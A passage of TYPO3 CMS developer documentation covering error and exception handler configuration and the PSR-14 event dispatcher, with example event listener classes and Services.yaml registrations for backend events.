along with the rendered output. For more information and examples have a look
into the TypoScript reference for
config.contentObjectExceptionHandler.
Error Handler
Class
\TYPO3\CMS\Core\Error\ErrorHandler is the default error handler in
TYPO3.
Functions:
Can be registered for all PHP errors or for only a subset of the PHP errors
which will then be handled by an error handler.
Displays error messages as flash messages in the Backend (if
exceptionHandler is set to
\TYPO3\CMS\Core\Error\DebugExceptionHandler ).
Since flash messages are integrated in the Backend template, PHP messages
will not destroy the Backend layout.
Displays errors as TsLog messages in the adminpanel.
Logs error messages to the sys_log table. Logged errors are displayed
in the belog extension (Admin Tools > Log). This will work only with an
existing DB connection.
Production exception handler
Functionality of the
\TYPO3\CMS\Core\Error\ProductionExceptionHandler :
Shows brief exception message ("Oops, an error occurred!") using
\TYPO3\CMS\Core\Controller\ErrorPageController and its attendant template.
Logs exception messages to the sys_log table. Logged errors are displayed
in the belog extension (Admin Tools > Log). This will only work with an
existing DB connection.
Depending on the Logging writer configuration
the exception output can be found for example in the following locations:
\TYPO3\CMS\Core\Log\Writer\FileWriter
In Composer-based installations the information can be found in directory
var/logs/. In Classic mode installations in typo3temp/var/logs/.
\TYPO3\CMS\Core\Log\Writer\SyslogWriter
Logs exception messages to the
sys_log table. Logged errors are displayed
in the backend module Admin Tools > Log.
The generic error message "Oops, an error occurred!" is displayed when an
exception or error happens within a TypoScript content object like
FLUIDTEMPLATE or a plugin. When the exception
affects only one content element or plugin it is displayed in place of that
elements. However, if it affects the content element representing the whole page
like PAGEVIEW only a plain page with this text on
it is displayed.
This message is displayed in production context
instead of a more detailed exception message. The detailed message can then be
found in the log.
Show detailed exception output
When the frontend debugging is activated, a detailed exception message is output
instead of the generic "Oops, an error occurred!" message.
Logs exception messages to the sys_log table. Logged errors are displayed
in the belog extension (Admin Tools > Log). This will work only if there is
an existing DB connection.
Examples
Debugging and development setup
Attention
Do not use debug / development setup in production. This setup generates error
messages in the Frontend and a number of log messages for low severity errors.
The messages in the Frontend will be visible to the user, give a potential attacker
more information about your system and the logging will fill your filesystem / DB,
which degrades performance and can potentially be used to bring down your system
by filling storage with log messages. See Use staging servers for developments and tests for more
information.
Very verbose configuration which logs and displays all errors and
exceptions.
In config/system/settings.php or config/system/additional.php:
Use this setting, to get more context and a stacktrace in the Frontend in case of an exception.
Attention
Do not set config.contentObjectExceptionHandler to 0 in production. It will
display a complete stack dump in the Frontend, when an exception occurs. Use
config.contentObjectExceptionHandler = 1, which is the default, in production.
Example for a production configuration which displays only errors and
exceptions, if the devIPmask setting
matches. Errors and exceptions are only logged, if their
log level is at least
\Psr\Log\LogLevel::WARNING.
In config/system/settings.php or config/system/additional.php:
Since the error and exception handling and also the logging need some
performance, here's an example how to disable error and exception
handling completely.
In config/system/settings.php or config/system/additional.php:
PHP warnings, among other things, are added to the TYPO3 log via
the Writer configuration of the Logging API.
In production or from a performance perspective, you may not want this.
The default value is
\Psr\Log\LogLevel::WARNING.
Depending on project requirements, the loglevel can be increased to
\Psr\Log\LogLevel::ERROR
(or higher).
In .htaccess:
.htaccess
php_flag display_errors offphp_flag log_errors off
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How to extend the error and exception handling
If you want to register your own error or exception handler:
Create a corresponding class in your extension
Override the Core defaults for productionExceptionHandler, debugExceptionHandler
or errorHandler in config/system/additional.php:
We use config/system/additional.php and notext_localconf.php
in the extension (as previously documented) because that will be executed
after the error / exception handlers are initialized in the bootstrap process.
An error or exception handler class must register an error (exception)
handler in its constructor. Have a look at the files in EXT:core/Classes/Error/
to see how this should be done.
If you want to use the built-in error and exception handling but
extend it with your own functionality, derive your class from the
error and exception handling classes shipped with TYPO3.
Example Debug Exception Handler
This uses the default Core exception handler DebugExceptionHandler and overrides some
of the functionality:
Events and hooks provide an easy way to extend the functionality of the TYPO3
Core and its extensions without blocking others to do the same.
Events are being emitted by the TYPO3 Core or an
extension via the event dispatcher. The event will be
received by all implemented event listeners for the event in question. Events
are strongly typed. Events only allow changes to variables that are intended to
be changed by the event.
Hooks are basically places in the source code where a
user function will be called for processing, if such has been configured.
TYPO3 extending mechanisms video
Lina Wolf: Extending Extensions @ TYPO3 Developer Days 2019
Events and hooks vs. XCLASS extensions
Events and hooks are the recommended way of extending TYPO3 compared to
extending PHP classes with a child class (see
XCLASS extensions). Using the XCLASS functionality only one
extension of a PHP class can exist at a time while hooks and events
may allow many different user-designed processor functions to be executed.
With TYPO3 v10 the event dispatcher was introduced. It is a strongly typed
way of extending TYPO3 and therefore recommended to use wherever available.
However, events have to be emitted and hooks have to be implemented in the TYPO3
Core or an extension before they can be used, while extending a PHP class via
the XCLASS method allows you to extend any class you like.
Proposing events
If you need to extend the functionality of a class which has no event or hook
yet, then you should suggest emitting an event. Normally that is rather easily
done by the author of the source you want to extend:
For a third-party extension create an issue in the according issue tracker
of that extension.
Event dispatcher (PSR-14 events)
The event dispatcher system was added to extend TYPO3's Core behaviour in
TYPO3 v10.0. In the past, this was done via Extbase's signal/slot and TYPO3's
custom hook system. The event dispatcher system is a fully-capable replacement
for new code in TYPO3, as well as a possibility to migrate away from previous
TYPO3 solutions.
Don't get hooked, listen to events! PSR-14 within TYPO3 v10.
-- Benni Mack @ TYPO3 Developer Days 2019
For a basic example on listening to an event, see the chapter
Listen to an event in the
extension development how-to section.
This quick start section shows how to create your own event class and dispatch it.
If you just want to listen on an existing event, see section
Implementing an event listener in your extension.
Create an event class.
An event class is basically a plain PHP object with getters for immutable
properties and setters for mutable properties. It contains a constructor
for all properties:
PSR-14 is a lean solution that builds upon wide-spread solutions for hooking
into existing PHP code (Frameworks, CMS, and the like).
PSR-14 consists of the following four components:
The event dispatcher object
The
EventDispatcher object is used to trigger an event. TYPO3 has a
custom event dispatcher implementation. In PSR-14 all event dispatchers of all
frameworks are implementing
\Psr\EventDispatcher\EventDispatcherInterface , thus it is possible to
replace the event dispatcher with another. The
EventDispatcher's main
method
dispatch() is called in TYPO3 Core or extensions. It receives a
PHP object which will then be handed to all available listeners.
The listener provider
A
ListenerProvider object that contains all listeners which have been
registered for all events. TYPO3 has a custom listener provider that collects
all listeners during compile time. This component is only used internally inside of
TYPO3's Core Framework.
The events
An
Event object can be any PHP object and is called from TYPO3 Core or
an extension ("emitter") containing all information to be transported to the
listeners. By default, all registered listeners get triggered by an event,
however, if an event has the interface
\Psr\EventDispatcher\StoppableEventInterface implemented, a listener can
stop further execution of other event listeners. This is especially useful, if
the listeners are candidates to provide information to the emitter. This allows
to finish event dispatching, once this information has been acquired.
If an event allows modifications, appropriate methods should be available, although
due to PHP's nature of handling objects and the PSR-14 listener signature, it
cannot be guaranteed to be immutable.
Extensions and PHP packages can add listeners that are registered via YAML. They
are usually associated to
Event objects by the fully-qualified class name
of the event to be listened on. It is the task of the listener provider to
provide configuration mechanisms to represent this relationship.
If multiple event listeners for a specific event are registered, their order can
be configured or an existing event listener can also be overridden with a different one.
The System > Configuration > Event Listeners (PSR-14) backend module (requires
the system extension lowlevel) reveals an overview of all registered
event listeners, see Debugging event handling.
Advantages of the event dispatcher over hooks
The main benefits of the event dispatcher approach over hooks is an
implementation which helps extension authors to better understand the
possibilities by having a strongly typed system based on PHP. In addition, it
serves as a bridge to also incorporate other events provided by frameworks that
support PSR-14.
Impact on TYPO3 Core development in the future
TYPO3's event dispatcher serves as the basis to replace all
hooks in the future. However, for the time being, hooks
work the same way as before, unless migrated to an event dispatcher-like code,
whereas a PHP
E_USER_DEPRECATED error can be triggered.
Some hooks might not be replaced 1:1 to event dispatcher, but rather superseded
with a more robust or future-proof API.
Implementing an event listener in your extension
Hint
For a basic example on listening to an event, see the chapter
Listen to an event in the
extension development how-to section.
An extension can define multiple listeners. The attribute can be used on class
and method level. The PHP attribute is repeatable, which allows to register the
same class to listen for different events.
Once the emitter is triggering an event, this listener is called automatically.
Be sure to inspect the event's PHP class to fully understand the capabilities
provided by an event.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener supports the
following properties (which are all optional):
identifier
A unique identifier should be declared which identifies the event listener,
and orderings can be build upon the identifier. If this property is not
explicitly defined, the service name is automatically used instead.
before
This property allows a custom sorting of registered listeners. The listener
is then dispatched before the given listener. The value is the identifier of
another event listener. Also, multiple event identifiers can be entered here,
separated by a comma.
after
This property allows a custom sorting of registered listeners. The listener
is then dispatched after the given listener. The value is the identifier of
another event listener. Also, multiple event identifiers can be entered here,
separated by a comma.
event
The fully-qualified class name (FQCN) of the dispatched event, that the
listener wants to react to. It is recommended to not specify this property,
but to use the FQCN as type declaration of the argument within the dispatched method
(usually
__invoke(EventName $event)).
method
The method to be called. If this property is not given, the listener class
is treated as invokable, thus its
__invoke() method is called.
The PHP attribute is repeatable, which allows to register the same class
to listen for different events, for example:
If using the PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener
to configure an event listener, the registration in the
Configuration/Services.yaml file is not necessary anymore.
If an extension author wants to provide a custom event listener, an according
entry with the tag
event.listener can be added to the
Configuration/Services.yaml file of that extension.
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationMyVendor\MyExtension\EventListener\NullMailer:tags:-name:event.listenermethod:handleEventidentifier:'my-extension/null-mailer'before:'someIdentifier, anotherIdentifier'
The tag name
event.listener identifies that a listener should be registered.
The custom PHP class
\MyVendor\MyExtension\EventListener\NullMailer
serves as the listener whose
handleEvent() method is called, once the
event is dispatched. The name of the listened event is specified as
a typed argument to that dispatch method.
handleEvent(\TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent $event) will
for example listen on the event BeforeMailerSentMessageEvent.
The
identifier is a common name, so
orderings can be built upon the identifier, the optional
before and
after attributes allow for custom sorting against the
identifier
of other listeners. If no
identifier is specified, the service name (usually
the fully-qualified class name of the listener) is automatically used.
If no attribute
method is given, the class is treated as invokable, thus
its
__invoke() method will be called:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationMyVendor\MyExtension\EventListener\NullMailer:tags:-name:event.listeneridentifier:'my-extension/null-mailer'before:'someIdentifier, anotherIdentifier'
Existing event listeners can be overridden by custom implementations. This can be
performed with both methods, either by using the PHP
#[AsEventListener]
attribute, or via EXT:my_extension/Configuration/Services.yaml.
For example, a third-party extension listens on the event
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent via the PHP attribute:
If you want to replace this event listener with your custom implementation, your extension can
achieve this by specifying the overridden identifier via the PHP attribute:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;
// Important: Use the 'identifier' of the original event here to be replaced!#[AsEventListener( identifier: 'ext-some-extension/modify-hreflang',
after: 'typo3-seo/hreflangGenerator',
)]
final readonly classMySeoEventListener{
publicfunction__invoke(ModifyHrefLangTagsEvent $event): void{
// ... custom code which overrides the// original EXT:some-extension listener ...
}
}
Copied!
or via Services.yaml declaration:
EXT:my_extension/Configuration/Services.yaml
# Provide your custom event class:MyVendor\MyExtension\EventListener\Seo\HrefLangEventListener:tags:-name:event.listener# Use the same identifier of the extension that you override!identifier:'ext-some-extension/modify-hreflang'
Copied!
Note
When overriding an event listener, be sure to check whatever the
listener provided as changes to an event. Your own event listener
implementation is now responsible for any functionality, because
the original listener will no longer be executed.
Make sure that you set the identifier property to exactly
the string which the original implementation uses. If the identifier is not mentioned specifically
in the original implementation, the service name (when unspecified, the fully-qualified name of the event
listener class) is used. You can inspect that identifier in the
System > Configuration > Event Listeners (PSR-14) backend module (requires the system extension
lowlevel), see Debugging event handling. In this example,
if
identifier: 'ext-some-extension/modify-hreflang' is not defined, the identifier
will be set to
identifier: 'SomeVendor\SomeExtension\Seo\HrefLangEventListener' and you could
use that identifier in your implementation.
Note
Overriding listeners requires your extension to declare a dependency on the
EXT:some_extension extension (through composer.json, or for non-Composer
mode ext_emconf.php).
This ensures a proper loading order, so your extension is processed after the extension you want
to override.
Best practices
When configuring listeners, it is recommended to add one listener class per
event type, and have it called via
__invoke().
When creating a new event PHP class, it is recommended to add an
Event suffix to the PHP class, and to move it into an appropriate
folder like Classes/Event/ to easily discover events provided by a
package. Be careful about the context that should be exposed.
The same applies to creating a new event listener PHP class: Add
an
Listener suffix to the PHP class, and move it to a folder
Classes/EventListener/.
Emitters (TYPO3 Core or extension authors) should always use
Dependency Injection to receive the event
dispatcher object as a constructor argument, where possible, by adding a
type declaration for
\Psr\EventDispatcher\EventDispatcherInterface .
A unique and descriptive
identifier should be used for event listeners.
Any kind of event provided by TYPO3 Core falls under TYPO3's Core API
deprecation policy, except for its constructor arguments, which may vary. Events
that should only be used within TYPO3 Core, are marked as
@internal, just
like other non-API parts of TYPO3. Events marked as
@internal should be
avoided whenever technically possible.
Debugging event handling
A complete list of all registered event listeners can be viewed in the the
module System > Configuration > Event Listeners (PSR-14). The
lowlevel system extension has to be installed for
this module to be available.
List of event listeners in the Configuration module
To debug all events that are actually dispatched during a frontend request you
can use the admin panel:
Go to Admin Panel > Debug > Events and see all dispatched events.
The adminpanel system extension has to be
installed for this module to be available.
List of dispatched events in the Admin Panel
Event list
The following list contains PSR-14 events
in the TYPO3 Core .
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\AfterBackendPageRenderEvent
gets triggered after the page in the backend is rendered and includes the
rendered page body. Listeners may overwrite the page string if desired.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Controller\Event\AfterBackendPageRenderEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/after-backend-page-render',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterBackendPageRenderEvent $event): void{
$content = $event->getContent() . ' I was here';
$event->setContent($content);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event triggers after a page has been rendered.
Listeners may update the page content string with a modified
version if appropriate.
getContent()
Returns
string
setContent(string $content)
param $content
the content
getView()
Returns
\TYPO3\CMS\Core\View\ViewInterface
AfterFormEnginePageInitializedEvent
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\AfterFormEnginePageInitializedEvent
is available to listen for after the form engine has been
initialized (all data has been persisted).
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\AfterPageColumnsSelectedForLocalizationEvent
is available to listen for after the form engine has been
initialized (and all data has been persisted). It will be dispatched after
records and columns are collected in the
\TYPO3\CMS\Backend\Controller\Page\LocalizationController .
The event receives:
The default columns and columns list built by
LocalizationController
The list of records that were analyzed to create the columns manifest
The parameters received by the
LocalizationController
The event allows changes to:
the columns
the columns list
This allows third-party code to read or manipulate the "columns manifest" that
gets displayed in the translation modal when a user has clicked the
Translate button in the page module, by implementing a listener for
the event.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event triggers after the LocalizationController (AJAX) has
selected page columns to be translated. Allows third parties to
add to or change the columns and content elements withing those
columns which will be available for localization through the
"translate" modal in the page module.
getColumns()
Returns list of columns, indexed by column position number, value is label (either LLL: or hardcoded).
Returns
array
setColumns(array $columns)
param $columns
the columns
getColumnList()
Returns a list of integer column position numbers used in the BackendLayout.
Returns an array of records which were used when building the original column
manifest and column position numbers list.
Returns
array
getParameters()
Returns request parameters passed to LocalizationController.
Returns
array
AfterPagePreviewUriGeneratedEvent
The
\TYPO3\CMS\Backend\Routing\Event\AfterPagePreviewUriGeneratedEvent
is executed in
\TYPO3\CMS\Backend\Routing->buildUri(), after the preview
URI has been built - or set by an event listener to
BeforePagePreviewUriGeneratedEvent. It allows to overwrite the built
preview URI. However, this event does not feature the possibility to modify the
parameters, since this will not have any effect, as the preview URI is directly
returned after event dispatching and no further action is done by the
\TYPO3\CMS\Backend\Routing\PreviewUriBuilder .
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Routing\Event\AfterPagePreviewUriGeneratedEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/modify-preview-uri',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterPagePreviewUriGeneratedEvent $event): void{
// Add custom fragment to built preview URI
$uri = $event->getPreviewUri();
$uri = $uri->withFragment('#customFragment');
$event->setPreviewUri($uri);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\AfterPageTreeItemsPreparedEvent
allows prepared page tree items to be modified.
It is dispatched in the
\TYPO3\CMS\Backend\Controller\Page\TreeController
class after the page tree items have been resolved and prepared. The event
provides the current PSR-7 request object as well as the page tree items. All
items contain the corresponding page record in the special
_page key.
Labels
New in version 13.1
Tree node labels can be defined which offer customizable color markings for
tree nodes. They also require an associated label for improved
accessibility. Each node can support multiple labels, sorted by priority, with
the highest priority label taking precedence over others.
A label can also be assigned to a node via
user TSconfig. Please note that
only the marker for the label with the highest priority is rendered. All
additional labels will only be added to the title of the node.
Status information
New in version 13.1
Tree nodes can incorporate status information. These details serve to indicate
the status of nodes and provide supplementary information. For instance, if a
page undergoes changes within a workspace, it will display an indicator on
the respective tree node. Additionally, the status is appended to the node's
title. This not only improves visual clarity but also enhances information
accessibility.
Each node can accommodate multiple status information, prioritized by severity
and urgency. Critical messages take precedence over other status notifications.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Controller\Event\AfterPageTreeItemsPreparedEvent;
useTYPO3\CMS\Backend\Dto\Tree\Label\Label;
useTYPO3\CMS\Backend\Dto\Tree\Status\StatusInformation;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
#[AsEventListener(
identifier: 'my-extension/backend/modify-page-tree-items',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterPageTreeItemsPreparedEvent $event): void{
$items = $event->getItems();
foreach ($items as &$item) {
if (($item['_page']['pid'] ?? null) === 123) {
// Set special icon for page with ID 123
$item['icon'] = 'my-special-icon';
// Set a tree node label
$item['labels'][] = new Label(
label: 'Campaign B',
color: '#00658f',
priority: 1,
);
// Set a status information
$item['statusInformation'][] = new StatusInformation(
label: 'A warning message',
severity: ContextualFeedbackSeverity::WARNING,
priority: 0,
icon: 'actions-dot',
overlayIcon: '',
);
}
}
$event->setItems($items);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event will be able to modify the prepared page tree items for the page tree
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
getItems()
Returns
array
setItems(array $items)
param $items
the items
AfterRawPageRowPreparedEvent
New in version 13.3
This event was introduced to replace the hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/tree/pagetree/class.t3lib_tree_pagetree_dataprovider.php']['postProcessCollections']
which has already been removed with TYPO3 v9.
The PSR-14 event
\TYPO3\CMS\Backend\Tree\Repository\AfterRawPageRowPreparedEvent
allows to modify the populated properties of a page and children records before
the page is displayed in a page tree.
This can be used, for example, to change the title of a page or apply a
different sorting to its children.
Listeners to this event will be able to modify a page with the special _children key,
or completely change e.g. a title.
getRawPage()
Returns
array
setRawPage(array $rawPage)
param $rawPage
the rawPage
getWorkspaceId()
Returns
int
AfterRecordSummaryForLocalizationEvent
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\AfterRecordSummaryForLocalizationEvent
is fired in the
\TYPO3\CMS\Backend\Controller\Page\RecordSummaryForLocalization class
and allows extensions to modify the payload of the
JsonResponse.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Controller\Event\AfterRecordSummaryForLocalizationEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/after-record-summary-for-localization',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterRecordSummaryForLocalizationEvent $event): void{
// Get current records
$records = $event->getRecords();
// ... do something with $records// Set new records
$event->setRecords($records);
// Get current columns
$columns = $event->getColumns();
// ... do something with $columns// Set new columns
$event->setColumns($columns);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\BeforeFormEnginePageInitializedEvent
allows to listen for before the form engine has been
initialized (before all data will be persisted).
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\BeforeLiveSearchFormIsBuiltEvent
can be used to modify the form data for the backend live search.
This event allows extension developer to add, change or remove hints to
the live search form or change the search demand object.
Furthermore, additional view data can be provided and used in a
overridden module action template. This avoids the need for using
the XCLASS
technique to provide additional data.
setAdditionalViewData() becomes handy to provide additional data to
the template without the need to cross class ("xclass") the controller. The
additional view data can be used in an overridden backend template of the
live search form.
BeforeModuleCreationEvent
The PSR-14 event
\TYPO3\CMS\Backend\Module\BeforeModuleCreationEvent
allows extension authors to manipulate the module configuration, before it is used to create and register the
module.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The
\TYPO3\CMS\Backend\Routing\Event\BeforePagePreviewUriGeneratedEvent
is executed in
\TYPO3\CMS\Backend\Routing->buildUri(), before the preview
URI is actually built. It allows to either adjust the parameters, such as the
page id or the language id, or to set a custom preview URI, which will then stop
the event propagation and also prevents
\TYPO3\CMS\Backend\Routing\PreviewUriBuilder from building the URI based
on the parameters.
Note
The overwritten parameters are used for building the URI and are also passed
to the AfterPagePreviewUriGeneratedEvent. They however do not
overwrite the related class properties in
PreviewUriBuilder.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event will be able to modify the corresponding parameters, before
the page preview URI is being generated, when linking to a page in the frontend.
This PSR-14 event was introduced to add custom functionality and advanced
evaluations to the the page tree filter.
The PSR-14
\TYPO3\CMS\Backend\Tree\Repository\BeforePageTreeIsFilteredEvent
allows developers to extend the page trees filter's functionality and process the
given search phrase in more advanced ways.
The page tree is one of the central components in the TYPO3 backend,
particularly for editors. However, in large installations, the page tree can
quickly become overwhelming and difficult to navigate. To maintain a clear
overview, the page tree can be filtered using basic terms, such as the page
title or ID.
Example: Add evaluation of document types to the page tree search filter
The event listener class, using the PHP attribute
#[AsEventListener] for
registration, adds additional conditions to the filter.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Frontend\EventListener;
useTYPO3\CMS\Backend\Tree\Repository\BeforePageTreeIsFilteredEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Database\Connection;
finalclassMyEventListener{
#[AsEventListener]publicfunctionremoveFetchedPageContent(BeforePageTreeIsFilteredEvent $event): void{
// Adds another uid to the filter
$event->searchUids[] = 123;
// Adds evaluation of doktypes to the filterif (preg_match('/doktype:([0-9]+)/i', $event->searchPhrase, $match)) {
$doktype = $match[1];
$event->searchParts = $event->searchParts->with(
$event->queryBuilder->expr()->eq(
'doktype',
$event->queryBuilder->createNamedParameter($doktype, Connection::PARAM_INT),
),
);
}
}
}
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BeforePageTreeIsFilteredEvent API
The event provides the following member properties:
$searchParts:
The search parts to be used for filtering
$searchUids:
The uids to be used for filtering by a special search part, which
is added by Core always after listener evaluation
$searchPhrase
The complete search phrase, as entered by the user
$queryBuilder:
The current
QueryBuilder
Important
The
QueryBuilder instance is provided solely
for context and to simplify the creation of
search parts by using the
ExpressionBuilder
via
QueryBuilder->expr(). The instance itself must not be modified by listeners and
is not considered part of the public API. TYPO3 reserves the right to change the instance at
any time without prior notice.
Listeners to this event will be able to modify the search parts, to be used to filter the page tree
publicsearchParts
publicsearchUids
publicreadonlysearchPhrase
publicreadonlyqueryBuilder
BeforeRecordDownloadIsExecutedEvent
New in version 13.2
This PSR-14 event replaces the
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList']['customizeCsvHeader']
and
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList']['customizeCsvRow'] ,
hooks, which have been deprecated with TYPO3 v13.2.
The event
\TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadIsExecutedEvent
can be used to modify the result of a download / export initiated via
the Web > List module.
The event lets you change both the main part and the header of the data file.
You can use it to edit data to follow GDPR rules, change or translate data,
create backups or web hooks, record who accesses the data, and more.
Listeners to this event are able to manipulate the download of records, usually triggered via Web > List.
getHeaderRow()
Returns
array
setHeaderRow(array $headerRow)
param $headerRow
the headerRow
getRecords()
Returns
array
setRecords(array $records)
param $records
the records
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
getTable()
Returns
string
getFormat()
Returns
string
getFilename()
Returns
string
getId()
Returns
int
getModTSconfig()
Returns
array
getColumnsToRender()
Returns
array
isHideTranslations()
Returns
bool
BeforeRecordDownloadPresetsAreDisplayedEvent
New in version 13.2
The event
\TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadPresetsAreDisplayedEvent
can be used to manipulate the list of available download presets in
the Web > List module.
Note that the event is dispatched for one specific database table name. If
an event listener is created to attach presets to different tables, the
listener method must check for the table name, as shown in the example below.
If no download presets exist for a given table, the PSR-14 event can still
be used to modify and add presets to it via the
setPresets() method.
The array passed from
getPresets() to
setPresets() can contain
an array collection of TYPO3CMSBackendRecordListDownloadPreset
objects with the array key using the preset label.
The event listener can also remove array indexes, or also columns of existing
array entries by passing a newly constructed
DownloadPreset object with the
changed label and columns constructor properties.
Event to manipulate the available list of download presets.
Array $presets contains a list of DownloadPreset objects
with their methods: getIdentifier(), getLabel() and getColumns().
The event is always coupled to a specific database table.
getPresets()
Returns
\DownloadPreset[]
setPresets(array $presets)
param $presets
the presets
getDatabaseTable()
Returns
string
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
getId()
Returns
int
API of DownloadPreset
classDownloadPreset
Fully qualified name
\TYPO3\CMS\Backend\RecordList\DownloadPreset
getIdentifier()
Returns
string
getLabel()
Returns
string
getColumns()
Returns
array
create(array $preset)
param $preset
the preset
Returns
self
BeforeSearchInDatabaseRecordProviderEvent
In some individual cases it may not be desirable to search in a specific table.
Therefore, the PSR-14 event
\TYPO3\CMS\Backend\Search\Event\BeforeSearchInDatabaseRecordProviderEvent
is available, which allows to exclude / ignore such tables by adding them
to a deny list. Additionally, the PSR-14 event can be used to restrict the
search result on certain page IDs or to modify the search query altogether.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
PSR-14 event to modify the incoming input about which tables should be searched for within
the live search results. This allows adding additional DB tables to be excluded / ignored, to
further limit the search result on certain page IDs or to modify the search query altogether.
Listeners to the PSR-14 event
\TYPO3\CMS\Backend\Form\Event\CustomFileControlsEvent
are able to add custom controls to a TCA type
file field in form engine.
Custom controls are always displayed below the file references. In contrast
to the selectors, e.g. Select & upload files are custom controls
independent of the
readonly and
showFileSelectors options.
This means, you have full control in which scenario your custom controls
are being displayed.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Use the PSR-14 event
\TYPO3\CMS\Backend\View\Event\IsContentUsedOnPageLayoutEvent
to identify if content has been used in a column that is not in a backend layout.
Setting
$event->setUsed(true) prevent the following message for the affected content element,
setting it to false displays it:
Warning
Unused elements detected on this page
These elements don't belong to any of the available columns of this page. You should either delete
them or move them to existing columns. We highlighted the problematic records for you.
Example: Display "Unused elements detected on this page" for elements with missing parent
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Listener;
useTYPO3\CMS\Backend\View\Event\IsContentUsedOnPageLayoutEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/view/content-used-on-page',
)]
final readonly classContentUsedOnPage{
publicfunction__invoke(IsContentUsedOnPageLayoutEvent $event): void{
// Get the current record from the event.
$record = $event->getRecord();
// This code will be your domain logic to indicate if content// should be hidden in the page module.if ((int)($record['colPos'] ?? 0) === 999
&& !empty($record['tx_myext_content_parent'])
) {
